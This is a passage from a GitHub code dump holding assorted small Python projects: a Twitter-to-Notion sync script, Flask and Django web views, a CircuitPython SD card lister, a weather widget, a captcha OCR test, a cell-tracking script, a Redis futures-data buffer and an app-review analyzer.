{len(filtered_tweets)} tweets.\")\n return filtered_tweets\n\ndef save_to_notion(tweets, database_id, notion_api_key):\n print(f\"Saving tweets to Notion database...\")\n\n notion = Client(auth=notion_api_key)\n\n for tweet in tweets:\n existing_record = find_existing_record(notion, database_id, tweet.id_str)\n\n if existing_record:\n print(f\"Tweet with ID {tweet.id_str} already exists in Notion database. Skipping.\")\n continue\n\n new_page = {\n \"ID\": {\"title\": [{\"text\": {\"content\": f\"{tweet.id_str}\"}}]},\n \"Date\": {\"date\": {\"start\": f\"{tweet.created_at.isoformat()}\"}},\n \"Original Text\": {\"rich_text\": [{\"text\": {\"content\": f\"{tweet.full_text}\"}}]},\n \"Filtered Text\": {\"rich_text\": [{\"text\": {\"content\": f\"{tweet.filtered_text}\"}}]},\n }\n notion.pages.create(parent={\"type\": \"database_id\", \"database_id\": database_id}, properties=new_page)\n\n print(f\"Tweets saved to Notion database.\")\n\ndef find_existing_record(notion, database_id, tweet_id):\n existing_records = notion.databases.query(\n **{\n \"database_id\": database_id,\n \"filter\": {\n \"property\": \"ID\",\n \"title\": {\n \"equals\": tweet_id\n }\n }\n }\n ).get(\"results\")\n\n return existing_records[0] if existing_records else None\n\ndef save_to_csv(tweets, filename):\n print(f\"Saving tweets to {filename}...\")\n with open(filename, 'w', newline='', encoding='utf-8') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow([\"id\", \"created_at\", \"original_text\", \"filtered_text\"])\n for tweet in tweets:\n writer.writerow([tweet.id_str, tweet.created_at, tweet.full_text, tweet.filtered_text])\n print(f\"Tweets saved to {filename}.\")\n\ndef main(api, user_id, keyword=None, notion_api_key=None, database_id=None):\n filtered_tweets = fetch_filtered_tweets(api, user_id, keyword)\n\n if notion_api_key and database_id:\n save_to_notion(filtered_tweets, database_id, notion_api_key)\n\n # save_to_csv(filtered_tweets, f\"{user_id}_filtered_tweets.csv\")\n\nif __name__ == \"__main__\":\n # Retrieve API keys and credentials from environment variables\n consumer_key = os.environ.get(\"TWITTER_CONSUMER_KEY\")\n consumer_secret = os.environ.get(\"TWITTER_CONSUMER_SECRET\")\n access_token = os.environ.get(\"TWITTER_ACCESS_TOKEN\")\n access_token_secret = os.environ.get(\"TWITTER_ACCESS_TOKEN_SECRET\")\n notion_api_key = os.environ.get(\"NOTION_API_KEY\")\n database_id = \"97cc22e911a34e439598792fd37dea63\"\n\n # Set up argument parsing\n parser = argparse.ArgumentParser(description=\"Fetch filtered tweets from a specific Twitter user and save them to a Notion database\")\n parser.add_argument(\"user_id\", help=\"Twitter user_id\")\n parser.add_argument(\"keyword\", nargs=\"?\", default=None, help=\"Keyword to filter tweets (optional)\")\n\n # Parse arguments\n args = parser.parse_args()\n\n # Authenticate with the Twitter API\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n api = tweepy.API(auth)\n\n # Call the main function with the specified user_id, keyword, and Notion details\n main(api, user_id=args.user_id, keyword=args.keyword, notion_api_key=notion_api_key, database_id=database_id)\n","repo_name":"chandrasekar-r/twitter","sub_path":"tweet.py","file_name":"tweet.py","file_ext":"py","file_size_in_byte":4240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73816580108","text":"from flask_restful import Resource,reqparse\n\nfrom .services.userservice import UserService\n\nfrom flask_jwt_extended import (create_access_token, create_refresh_token, jwt_required, jwt_refresh_token_required, get_jwt_identity)\n\n\nclass UserFollow(Resource):\n\tdef __init__(self):\n\t\tself.reqparse = reqparse.RequestParser()\n\t\tself.reqparse.add_argument('following_id', type = int, required = True, help=\"you need someone to follow\")\n\n\t\tself.userServObj = UserService()\n\t@jwt_required\n\tdef post(self,follwer_id):\n\t\tinputObj = self.reqparse.parse_args()\n\t\t# check token is for follwer_id or not.\n\t\tcurrent_user = get_jwt_identity()\n\t\tif current_user[\"uuid\"] is not follwer_id:\n\t\t\treturn {'msg': \"well tried, but this token is for {} id\".format(current_user[\"uuid\"])}\n\t\t# call the service for new user add\n\t\tmsg = self.userServObj.addFollowing(follwer_id,inputObj.following_id)\n\t\treturn {\n\t\t\t\"msg\": msg\n\t\t}\n\t@jwt_required\n\tdef get(self,follwer_id):\n\t\t# get which users follower_id is following.\n\t\tcurrent_user = get_jwt_identity()\n\t\tif current_user[\"uuid\"] is not follwer_id:\n\t\t\treturn {'msg': \"well tried, but this token is for {} id\".format(current_user[\"uuid\"])}\n\t\tx = self.userServObj.getFollowingListFor(follwer_id)\n\t\treturn {\n\t\t\t\"Your UUID\":current_user[\"uuid\"],\n\t\t\t\"data\": x\n\t\t\t}\n\t@jwt_required\n\tdef delete(self,follwer_id):\n\t\tinputObj = self.reqparse.parse_args()\n\t\tcurrent_user = get_jwt_identity()\n\t\tif current_user[\"uuid\"] is not follwer_id:\n\t\t\treturn {'msg': \"well tried, but this token is for {} id\".format(current_user[\"uuid\"])}\n\n\t\tmsg = self.userServObj.deleteFollowing(follwer_id,inputObj.following_id)\n\t\treturn {\n\t\t\t\"msg\":msg\n\t\t}","repo_name":"b33lz3bubTH/ng9-InstagramClone","sub_path":"proj-insta-clone-backend/applications/follow_action.py","file_name":"follow_action.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22102344145","text":"from django.shortcuts import render\n\nfrom django.views.generic import (\n ListView\n)\n\nfrom applications.libro.models import Libro\n\n# Create your views here.\n\nclass HomePageView(ListView):\n template_name = 'home/index.html'\n \n def get_queryset(self):\n # Obtiene los parámetros de la URL\n kword = self.request.GET.get('kword', '')\n autor = self.request.GET.get('autor', '')\n editorial = self.request.GET.get('editorial', '')\n\n # Filtra los libros utilizando el manager personalizado\n queryset = Libro.objects.buscar_libro(kword, autor, editorial)\n\n return queryset\n \n def get_context_data(self, **kwargs):\n context = super(HomePageView, self).get_context_data(**kwargs)\n context['libros'] = self.get_queryset()\n \n return context","repo_name":"JaimePipo/Libreria","sub_path":"libreriajaime/applications/Home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7139157366","text":"import os\n\nimport board\nimport busio\nimport sdcardio\nimport storage\n\n# OPTION SDCARD GP13, GP10, GP11, GP12\n# CS = D13\n# SCK = D10\n# MOSI = D11\n# MISO = D12\n\nspi = busio.SPI(board.GP10, MOSI=board.GP11, MISO=board.GP12)\n\n# For breakout boards, you can choose any GPIO pin that's convenient:\ncs = board.GP13\n# Boards with built in SPI SD card slots will generally have a\n# pin called SD_CS:\n#cs = board.SD_CS\n\nsdcard = sdcardio.SDCard(spi, cs)\nvfs = storage.VfsFat(sdcard)\n\nstorage.mount(vfs, \"/sd\")\n\ndef print_directory(path, tabs=0):\n for file in os.listdir(path):\n stats = os.stat(path + \"/\" + file)\n filesize = stats[6]\n isdir = stats[0] & 0x4000\n\n if filesize < 1000:\n sizestr = str(filesize) + \" by\"\n elif filesize < 1000000:\n sizestr = \"%0.1f KB\" % (filesize / 1000)\n else:\n sizestr = \"%0.1f MB\" % (filesize / 1000000)\n\n prettyprintname = \"\"\n for _ in range(tabs):\n prettyprintname += \" \"\n prettyprintname += file\n if isdir:\n prettyprintname += \"/\"\n print('{0:<40} Size: {1:>10}'.format(prettyprintname, sizestr))\n\n # recursively print directory contents\n if isdir:\n print_directory(path + \"/\" + file, tabs + 1)\n\n\nprint(\"Files on filesystem:\")\nprint(\"====================\")\nprint_directory(\"/sd\")\n","repo_name":"land-boards/RasPiPico","sub_path":"CircuitPython/CircuitPython_Code/SD_Card/SDCard_Dir.py","file_name":"SDCard_Dir.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"73980127308","text":"n = int(input())\r\narr = list(map(int, input().split()))\r\n\r\nfor i in range(1,n+1):\r\n\tif i in arr:\r\n\t\tarr.remove(i)\r\n\r\nif (len(arr) == 0):\r\n\tprint(\"YES\")\r\nelse:\r\n\tprint(\"NO\")","repo_name":"aviaryan/competitive","sub_path":"hackerrank/security-beijective-functions.py","file_name":"security-beijective-functions.py","file_ext":"py","file_size_in_byte":172,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"82"} +{"seq_id":"30981111391","text":"import requests\r\nfrom datetime import datetime\r\nfrom tkinter import *\r\nimport webbrowser\r\ndef weather_press ():\r\n webbrowser.open(\"https://weather.com/weather/today/l/cb9a4442e9bf7da0ece89bd21a5161210e79cccc0ec2647b3565977e7a278c31\")\r\nweather_data = requests.get(\r\n f\"https://api.open-meteo.com/v1/forecast?latitude=22.99&longitude=120.21&hourly=temperature_2m,rain&daily=sunset,rain_sum¤t_weather=true&timeformat=unixtime&forecast_days=1&timezone=Asia%2FSingapore\")\r\nweather_tem =weather_data.json()[\"current_weather\"][\"temperature\"]\r\nweather_windsp =weather_data.json()[\"current_weather\"][\"windspeed\"]\r\nweather_maxtem = max(weather_data.json()[\"hourly\"][\"temperature_2m\"])\r\nweather_mintem = min(weather_data.json()[\"hourly\"][\"temperature_2m\"])\r\ntimestamp = weather_data.json()[\"daily\"][\"time\"][0]\r\ndate_str = datetime.fromtimestamp(timestamp).strftime(\"%Y-%m-%d\")\r\nwin = Tk()\r\nweather_img = PhotoImage(file=r'C:\\Users\\user\\OneDrive\\桌面\\weather app\\img\\weather.png')\r\nscreen_width = win.winfo_screenwidth()\r\nscreen_height = win.winfo_screenheight()\r\nx = screen_width - 350\r\ny = screen_height - 200\r\nwin.title(\"weather app\")\r\nwin.geometry(f\"350x150+1186+730\")\r\nwin.resizable(0,0)\r\n\r\nmaxtem = Label(text=\"最高溫:\")\r\nmaxtem.config(bg=\"orange\")\r\nmaxtem.grid(row=0,column=0)\r\nmaxtem_lab = Label(text=weather_maxtem)\r\nmaxtem_lab.config(bg=\"orange\")\r\nmaxtem_lab.grid(row=0,column=1)\r\n\r\nmintem = Label(text=\"最低溫:\")\r\nmintem.config(bg=\"lightblue\")\r\nmintem.grid(row=1,column=0)\r\nmintem_lab = Label(text=weather_mintem)\r\nmintem_lab.config(bg=\"lightblue\")\r\nmintem_lab.grid(row=1,column=1)\r\n\r\ntem = Label(text=\"現溫度:\")\r\ntem.config(bg=\"yellow\")\r\ntem.grid(row=2,column=0)\r\ntem_lab = Label(text= weather_tem)\r\ntem_lab.config(bg=\"yellow\")\r\ntem_lab.grid(row=2,column=1)\r\n\r\nweather_btn = Button(text=\"weather\")\r\nweather_btn.config(image=weather_img)\r\nweather_btn.place(anchor=CENTER,x=200,y=70,width=200,height=100)\r\nweather_btn.config(command=weather_press)\r\n\r\ndate_lab= Label(text=date_str)\r\ndate_lab.config(bg=\"skyblue\")\r\ndate_lab.place(anchor=CENTER,x=305,y=140)\r\n\r\nprint(weather_windsp)\r\nwin.mainloop()","repo_name":"1014lin/weather-app","sub_path":"weather app/weather_app.py","file_name":"weather_app.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8672376490","text":"'''\n func:实现简单验证码获取\n'''\nimport pytesseract\nfrom PIL import Image\n\n#首先通过Image打开一个图片\nimage=Image.open('c1.png')\n# #然后通过方法将image对象转化为字符串\n# code=pytesseract.image_to_string(image)\n# print(code)\n\n#出现错误,需要将图片进行灰度转化和二值处理\nimage=image.convert('L')\n# image2=image1.convert('1')\n# image1.show()\nthreshold = 200\ntable = []\nfor i in range(256):\n if i < threshold:\n table.append(0)\n else:\n table.append(1)\nimage=image.point(table,'1')\nimage.show()\ncode=pytesseract.image_to_string(image)\nprint(code)\n\n","repo_name":"yangsongwei/scrawtest","sub_path":"resserocrlearn/tesserocrlearn.py","file_name":"tesserocrlearn.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30583486437","text":"import email\nimport email.errors\nimport email.message\nimport email.policy\nimport json\n\nfrom twisted.web import server\nfrom twisted.web.resource import Resource\n\nfrom ...common.encoding import force_str, force_bytes\nfrom ...common import http_status\nfrom ...common.rest_api_common import ApiResource\nfrom ...common.db_common import get_db\n\n__author__ = 'Cedric RICARD'\n\n\n# noinspection PyPep8Naming\nclass MailingContentApi(ApiResource):\n \"\"\"\n Display mailing content\n \"\"\"\n def __init__(self, mailing_id=None):\n Resource.__init__(self)\n self.mailing_id = mailing_id\n\n def getChild(self, name, request):\n if name == b'cid':\n return MailingContentIDsApi(self.mailing_id)\n return ApiResource.getChild(self, name, request)\n\n def render_GET(self, request):\n self.log_call(request)\n db = get_db()\n db.mailing.find_one({'_id': self.mailing_id})\\\n .addCallback(self.cb_get_mailing, request)\\\n .addErrback(self.eb_get_mailing, request)\n return server.NOT_DONE_YET\n\n def cb_get_mailing(self, mailing, request):\n msg = self.get_message(mailing)\n\n def get_html_body(part):\n self.log.debug(\"***\")\n import email.message\n assert (isinstance(part, email.message.Message))\n if part.is_multipart():\n self.log.debug(part.get_content_type())\n subtype = part.get_content_subtype()\n if subtype == 'mixed':\n return get_html_body(part.get_payload(0))\n\n elif subtype == 'alternative':\n for p in part.get_payload():\n self.log.debug(\" sub = %s\", p.get_content_type())\n if p.get_content_type() == 'text/html' or p.get_content_type() == \"multipart/related\":\n return get_html_body(p)\n\n elif subtype == 'digest':\n raise email.errors.MessageParseError(\"multipart/digest not supported\")\n\n elif subtype == 'parallel':\n raise email.errors.MessageParseError(\"multipart/parallel not supported\")\n\n elif subtype == 'related':\n return get_html_body(part.get_payload(0))\n\n else:\n self.log.warn(\"Unknown multipart subtype '%s'\" % subtype)\n\n else:\n maintype, subtype = part.get_content_type().split('/')\n if maintype == 'text':\n self.log.debug(\"body found (%s/%s)\", maintype, subtype)\n charset = part.get_content_charset(failobj='us-ascii')\n # request.setHeader('Content-Type', part.get_content_type())\n part_body = part.get_payload(decode=True).decode(charset)\n self.log.debug(\"body type: %s\", type(part_body))\n return part_body\n else:\n self.log.warn(\"get_html_body(): can't handle '%s' parts\" % part.get_content_type())\n return \"\"\n\n request.setResponseCode(http_status.HTTP_200_OK)\n request.setHeader('Content-Type', 'text/html')\n\n request.write(get_html_body(msg).encode('utf8'))\n request.finish()\n\n @staticmethod\n def get_message(mailing):\n mparser = email.parser.BytesFeedParser(policy=email.policy.default)\n mparser.feed(force_bytes(mailing['header']))\n mparser.feed(force_bytes(mailing['body']))\n msg = mparser.close()\n return msg\n\n def eb_get_mailing(self, error, request):\n self.log.error(\"Error returning HTML content for mailing [%d]: %s\", self.mailing_id, error)\n request.setResponseCode(http_status.HTTP_500_INTERNAL_SERVER_ERROR)\n request.write(b\"ERROR: can't get content.\")\n request.finish()\n\n\nclass MailingContentIDsApi(ApiResource):\n \"\"\"\n Should display mailing related attachments (but currently does nothing)\n \"\"\"\n def __init__(self, mailing_id):\n Resource.__init__(self)\n self.mailing_id = mailing_id\n\n def getChild(self, name, request):\n return MailingRelatedAttachmentApi(self.mailing_id, name)\n\n\nclass MailingRelatedAttachmentApi(ApiResource):\n \"\"\"\n Returns a related attachment\n \"\"\"\n def __init__(self, mailing_id, cid):\n Resource.__init__(self)\n self.mailing_id = mailing_id\n self.cid = cid\n\n def render_GET(self, request):\n self.log_call(request)\n db = get_db()\n db.mailing.find_one({'_id': self.mailing_id}) \\\n .addCallback(self.cb_get_mailing, request) \\\n .addErrback(self.eb_get_mailing, request)\n return server.NOT_DONE_YET\n\n def cb_get_mailing(self, mailing, request):\n msg = MailingContentApi.get_message(mailing)\n\n cid = '<%s>' % self.cid\n for part in msg.walk():\n if part.get('Content-ID', None) == cid:\n request.setHeader('Content-Type', part.get_content_type())\n request.write(part.get_payload(decode=True).encode())\n request.finish()\n return\n\n request.setResponseCode(http_status.HTTP_404_NOT_FOUND)\n request.setHeader('Content-Type', 'application/json')\n request.write(json.dumps({'error': \"Part CID '%s' not found\" % self.cid}).encode())\n request.finish()\n return\n\n def eb_get_mailing(self, error, request):\n self.log.error(\"Error returning HTML content for mailing [%d]: %s\", self.mailing_id, error)\n request.setResponseCode(http_status.HTTP_500_INTERNAL_SERVER_ERROR)\n request.write(b\"ERROR: can't get content.\")\n request.finish()\n\n\n","repo_name":"ricard33/cloud-mailing","sub_path":"cloud_mailing/master/rest_api/mailing_contents.py","file_name":"mailing_contents.py","file_ext":"py","file_size_in_byte":5754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20312372506","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom tracker import Tracker\n\nimport argparse\n\n\ndef crop(frame, x1, x2, y1, y2):\n return frame[y1:y2, x1:x2]\n\n\ndef frame_difference(frame1: np.array, frame2: np.array):\n img1 = cv2.cvtColor(frame1, cv2.COLOR_RGB2GRAY)\n img2 = cv2.cvtColor(frame2, cv2.COLOR_RGB2GRAY)\n\n result = (abs(img2 - img1)).sum()\n return result\n\n\nparser = argparse.ArgumentParser(description=\"Test tracking\")\nparser.add_argument('--file', dest=\"file\")\nparser.add_argument('--diff', dest=\"diff\")\nparser.add_argument('--tThresh', dest='tThresh')\n\nargs = parser.parse_args()\n\nVIDEO_NAME, DIFFERENCE_THRESHOLD, TRACKER_THRESHOLD = (args.file,\n int(args.diff),\n int(args.tThresh))\n\nobject_detector = cv2.createBackgroundSubtractorMOG2(\n varThreshold=TRACKER_THRESHOLD)\nobject_tracker = Tracker()\n\ncap = cv2.VideoCapture(VIDEO_NAME)\nret, frame = cap.read()\n\ncv2.namedWindow(\"Select Region\", cv2.WINDOW_NORMAL)\ncv2.resizeWindow(\"Select Region\", 1920, 1080)\n\nr = cv2.selectROI(\"Select Region\", frame, False)\nx1, y1, width, height = r\nx2, y2 = x1 + width, y1 + height\n\nframe = crop(frame, x1, x2, y1, y2)\n\ncv2.namedWindow(\"Image\", cv2.WINDOW_NORMAL)\ncv2.resizeWindow(\"Image\", 1920, 1080)\n\nwhile True:\n last_frame = frame\n ret, frame = cap.read()\n\n if not ret:\n break\n\n frame = cv2.GaussianBlur(frame, (7, 7), 0)\n frame = crop(frame, x1, x2, y1, y2)\n if frame_difference(last_frame, frame) < DIFFERENCE_THRESHOLD:\n continue\n\n mask = object_detector.apply(frame)\n contours, _ = cv2.findContours(mask, cv2.RETR_TREE,\n cv2.CHAIN_APPROX_SIMPLE)\n\n big_contours = []\n\n for cnt in contours:\n area = cv2.contourArea(cnt)\n if area > 10:\n M = cv2.moments(cnt)\n cX = M[\"m10\"] / M[\"m00\"]\n if cX > x1 and cX < x2:\n big_contours.append(cnt)\n cv2.drawContours(frame, [cnt], -1, (0, 0, 255), 2)\n\n object_tracker.update(big_contours)\n\n cv2.imshow(\"Image\", object_tracker.show_contour_ids(frame))\n\n key = cv2.waitKey(20)\n if key == 27:\n break\n\ncap.release()\ncv2.destroyAllWindows()\n\ncell = object_tracker.cell_dict[object_tracker.curr_id - 2]\n\nfig, axes = plt.subplots(2, 2)\n\nfig.suptitle(\"Statistics from the Experiment\")\n\naxes[0][1].scatter(cell.timesteps, cell.circularity_points)\naxes[0][1].set_xlabel(\"Time (s)\")\naxes[0][1].set_ylabel(\"Circularity\")\naxes[0][1].set_title(\"Circularity Over Time\")\n\naxes[1][1].scatter(cell.timesteps, cell.area_points)\naxes[1][1].set_xlabel(\"Time (s)\")\naxes[1][1].set_ylabel(\"Area (px)\")\naxes[1][1].set_title(\"Area Over Time\")\n\ncvp = [-el[1] for el in cell.velocity_points]\n\naxes[1][0].scatter(cell.timesteps, cvp)\naxes[1][0].set_xlabel(\"Time (s)\")\naxes[1][0].set_ylabel(\"Velocity (px/s)\")\naxes[1][0].set_title(\"Velocity Over Time\")\n\naxes[0][0].scatter(cell.timesteps, [el[0] for el in cell.location_points])\naxes[0][0].set_xlabel(\"Time (s)\")\naxes[0][0].set_ylabel(\"Horizontal Position (px)\")\naxes[0][0].set_title(\"Horisontal Position Over Time\")\n\nplt.show()\n","repo_name":"A-Kaminer/openCIP","sub_path":"cell_tracking_prototyping/test_tracking.py","file_name":"test_tracking.py","file_ext":"py","file_size_in_byte":3206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7624782893","text":"#!python3\n# -*- coding: utf-8 -*-\nfrom localSDK.BasicFunc import *\nfrom project import *\n\nAC = AppControl()\nPF = PublicFunc()\nAC.projectName = projectName\n''' 检查环节不写日志 '''\nif __name__ == \"__main__\":\n # ----- Windows -----\n # AC.checkObjFromLog(\"Windows\", \"abc\") # 本地库无此控件\n # AC.checkObjFromLog(\"Windows\", \"计算器-5\") # 检测成功\n # AC.checkObjFromLog(\"Windows\", \"test-Null\") # 本地库不存在x\n\n # AC.deleteObjFromLog(\"Windows\", \"记事本-确认按钮\") # 成功删除本地控件\n # AC.deleteObjFromLog(\"Windows\", \"test2\") # 删除本地库没有的控件\n\n # ----- Chrome -----\n # AC.checkObjFromLog(\"Chrome\", \"abc\") # 本地库无此控件\n\n # AC.deleteObjFromLog(\"Chrome\", \"首页-单据类型\") # 删除本地库没有的控件\n\n ''' chrome在已启动driver中调试 '''\n # PF.openChrome()\n # AC.checkObjFromLog(\"Chrome\", \"登陆-用户名\") # 检测成功\n # AC.checkObjFromLog(\"Chrome\", \"登陆-密码\") # 检测成功\n # AC.insertIntoLog(\"Chrome\", \"test-插入\", \"//abc[@id='123123']\", projectPath) # 插入控件及相关信息\n\n # AC.deleteObjFromLog(\"IE\", \"test\") # 删除本地库没有的控件\n # AC.insertIntoLog(\"IE\", \"test-插入\", \"//abc[@id='123123']\", projectPath) # 插入控件及相关信息\n\n AC.checkObjFromLog(\"Windows\", \"确认另存为-是\")\n AC.checkObjFromLog(\"Windows\", \"确认另存为-否\")\n","repo_name":"tytechan/UIA","sub_path":"project/checkFunc.py","file_name":"checkFunc.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17996242152","text":"import os, random\nwith open(file=\"rel_triple.txt\") as f:\n lines = f.readlines()\nsplit_index = int(len(lines) * 0.8)\n# 随机打乱数据\nrandom.shuffle(lines)\n# 划分数据\ntrain_data = lines[:split_index]\ntest_data = lines[split_index:]\n# 将训练集和测试集写入文件\nwith open('train.txt', 'w', encoding='utf-8') as f:\n f.write(''.join(train_data))\n\nwith open('test.txt', 'w', encoding='utf-8') as f:\n f.write(''.join(test_data))\n\ndef process_data(file):\n with open(file) as f:\n lines = f.readlines()\n\n entities = dict() # 存储头实体与索引\n relations = dict() # 存储关系与索引\n\n ent_idx = 0 # 记录当前索引\n rel_idx = 0\n for line in lines:\n items = line.strip().split()\n head = items[0]\n relation = items[1]\n tail = items[2]\n\n if head not in entities: # 首次遇到头实体\n entities[head] = ent_idx\n ent_idx += 1\n\n if tail not in entities: # 首次遇到尾实体\n entities[tail] = ent_idx\n ent_idx += 1\n\n if relation not in relations: # 首次遇到关系\n relations[relation] = rel_idx\n rel_idx += 1\n folder_path = ''\n if file == 'train.txt':\n folder_path = '../data/train'\n os.makedirs(folder_path, exist_ok=True)\n if file == 'test.txt':\n folder_path = '../data/test'\n os.makedirs(folder_path, exist_ok=True)\n\n with open(folder_path + '/index_rel_triple.txt', 'w') as f:\n for line in lines:\n items = line.strip().split()\n head = items[0]\n relation = items[1]\n tail = items[2]\n f.write(f'{entities[head]} {relations[relation]} {entities[tail]}\\n')\n\n \"\"\"\n 实体和关系也可以采用不同的索引空间,保持各自索引的唯一性。\n \"\"\"\n\n with open(folder_path + '/all_ent.txt', 'w') as f:\n for key, value in sorted(entities.items(), key=lambda item: item[1]):\n f.write(f'{value} {key} \\n')\n\n with open(folder_path + '/all_rel.txt', 'w') as f:\n for key, value in sorted(relations.items(), key=lambda item: item[1]):\n f.write(f'{value} {key} \\n')\n\n\nprocess_data('train.txt')\nprocess_data('test.txt')\n","repo_name":"yanhanrebecca/TransE_demo","sub_path":"src_data/rel_tirple_change_index.py","file_name":"rel_tirple_change_index.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43652127912","text":"import aioredis\nimport asyncio\nimport redis\nimport pyarrow as pa\nimport pandas as pd\nfrom sina.include import REDIS_SVR_ADDR, REDIS_DB, REDIS_PORT\nfrom datetime import datetime\nfrom sina.include import SINA_M5_PATH\n\n# def put(contract, df):\n# r = redis.StrictRedis(host='localhost', port=6379, db=0)\n# ser = pyarrow.serialize(df).to_buffer()\n# comp = pyarrow.compress(ser, asbytes=True)\n# size = len(ser)\n# r.set(contract, comp)\n# r.set(contract + \"size\", size)\nasync def flush_redis(r, contract, df):\n try:\n await r.set(contract, pa.serialize(df).to_buffer().to_pybytes())\n print(contract , \"set to \", df)\n except:\n print(\"Error ocurred while flushing {0} to redis.\".format(contract))\n\nasync def update_redis(r, contract, df, quiet=False):\n if df is None or df.empty:\n return\n # print(contract, \"idx\", df)\n if not quiet:\n print(\"Buffering : \", contract, datetime.now())\n # df = df.dropna()\n try:\n ser = await r.get(contract)\n\n if not ser is None: #redis buffer exists, append data\n df_origin = pa.deserialize(ser)\n # print(df_origin)\n if df_origin is None:\n df_latest = df\n else:\n # df_latest = df_origin.append(df)\n df_latest = pd.concat([df_origin, df], axis=0)\n df_latest.drop_duplicates(keep='last', inplace=True)\n df_latest.sort_index(ascending=True, inplace=True)\n df_latest = df_latest.groupby(df_latest.index).last()\n # df_origin = df_origin.iloc[:-1, :] # delete last row which is obviously not correct\n # mmu = df_latest.memory_usage(deep=True).sum()\n # if mmu > 1024000:\n # print(contract, mmu)\n # print(df_latest.info(), df_latest.tail(10))\n # print(\"df_latest\", df_latest)\n # print(df_latest)\n await r.set(contract, pa.serialize(df_latest).to_buffer().to_pybytes())\n else: #initialize redis buffer\n print(\"Error ocurred while buffering {0} to redis.\".format(contract))\n # print(contract, \"is None\", df)\n await r.set(contract, pa.serialize(df).to_buffer().to_pybytes())\n\n except Exception as e:\n print(contract, \"not exist\", df.info(), df)\n await r.set(contract, pa.serialize(df).to_buffer().to_pybytes())\n print(str(e))\n\n if not quiet:\n print(\"end buffering {0}, at {1}\".format(contract, datetime.now()))\n\nasync def store_redis(loop, results):\n try:\n r = await aioredis.Redis.from_url(\n \"redis://\" + REDIS_SVR_ADDR, max_connections=len(results), db=REDIS_DB, decode_responses=False\n )\n # r = await aioredis.create_redis_pool(\n # \"redis://localhost\", minsize=5, maxsize=10, loop=loop, db=1\n # )\n return await asyncio.gather(*(update_redis(r, contract, df) for contract, df in results), return_exceptions=True, )\n\n finally:\n await r.close()\n\nasync def store_redis_tq(r, contract, quote):\n try:\n if not quote.datetime.isnull().values.any():\n # print(contract, quote)\n quote.index = pd.to_datetime(quote.datetime)\n # print(quote)\n quote = quote.shift(8, freq=\"H\")\n # print(quote)\n quote.loc[quote.volume == 0, 'volume'] = 1\n quote = quote.loc[:, ['open', 'high', 'low', 'close', 'volume', 'close_oi']]\n quote.rename(columns={\"close_oi\": \"oi\"}, inplace=True)\n # print(contract, quote.tail(10))\n\n return await update_redis(r, contract, quote, quiet=True)\n\n else:\n return\n\n except Exception as e:\n print(\"Error occured while store_redis_tq\", '\\t', str(e))\n\nclass buffer():\n def __init__(self, symbol, month, freq, ip_addr, port=6379, db=1, no_print=False):\n # print(ip_addr, port, symbol, month)\n self.df_buf = None\n try:\n self.r = redis.StrictRedis(host=ip_addr, port=port, db=db)\n if month == '00':\n ptn = symbol + '00_' + freq\n else:\n ptn = ''.join([symbol, '??', month])\n\n # print(ptn)\n k = self.r.keys(pattern=ptn)\n # print(k)\n buf = self.r.get(k[0])\n self.df_buf = pa.deserialize(buf)\n # print(self.df_buf)\n except Exception as e:\n if not no_print:\n print(\"Error ocurred when retrieving data from redis server.\", str(e))\n pass\n\n def get_df(self):\n return self.df_buf\n\n def get_latest(self, tm):\n if not self.df_buf is None:\n return self.df_buf.loc[self.df_buf.index > tm]\n else:\n return None\n\n\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n del self.r\n\n","repo_name":"ww12358/futures_cn_ohlc","sub_path":"sina/redis_buffer.py","file_name":"redis_buffer.py","file_ext":"py","file_size_in_byte":4923,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"40654851813","text":"#!/usr/bin/env python\n\nfrom analyzer import analyze\nfrom scraper import scan_apple_reviews, scan_google_reviews\nfrom models.reportdata import ReportData\nfrom gen_common_topics import CommonTopics\nfrom gen_report import Report\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\nreport_data = None\n\ndef generate_report(args):\n global report_data\n\n app_name = args.get('app-name')\n apple_link = args.get('app-store-link')\n google_link = args.get('play-store-link')\n\n if report_data and report_data.app_name == app_name:\n return\n\n apple = scan_apple_reviews(apple_link)\n google = scan_google_reviews(google_link)\n reviews = apple + google\n rated_reviews, common_topics = analyze(reviews)\n report_data = ReportData(app_name, apple_link, google_link, rated_reviews, common_topics)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/report')\ndef report():\n global report_data\n generate_report(request.args)\n\n report = Report(report_data)\n html = report.generate()\n return html\n\n@app.route('/reviews')\ndef list_reviews():\n global report_data\n generate_report(request.args)\n\n rating = int(request.args.get('rating'))\n topic = request.args.get('topic')\n\n topics = CommonTopics(report_data, rating, topic)\n html = topics.generate()\n return html\n\nif __name__=='__main__':\n 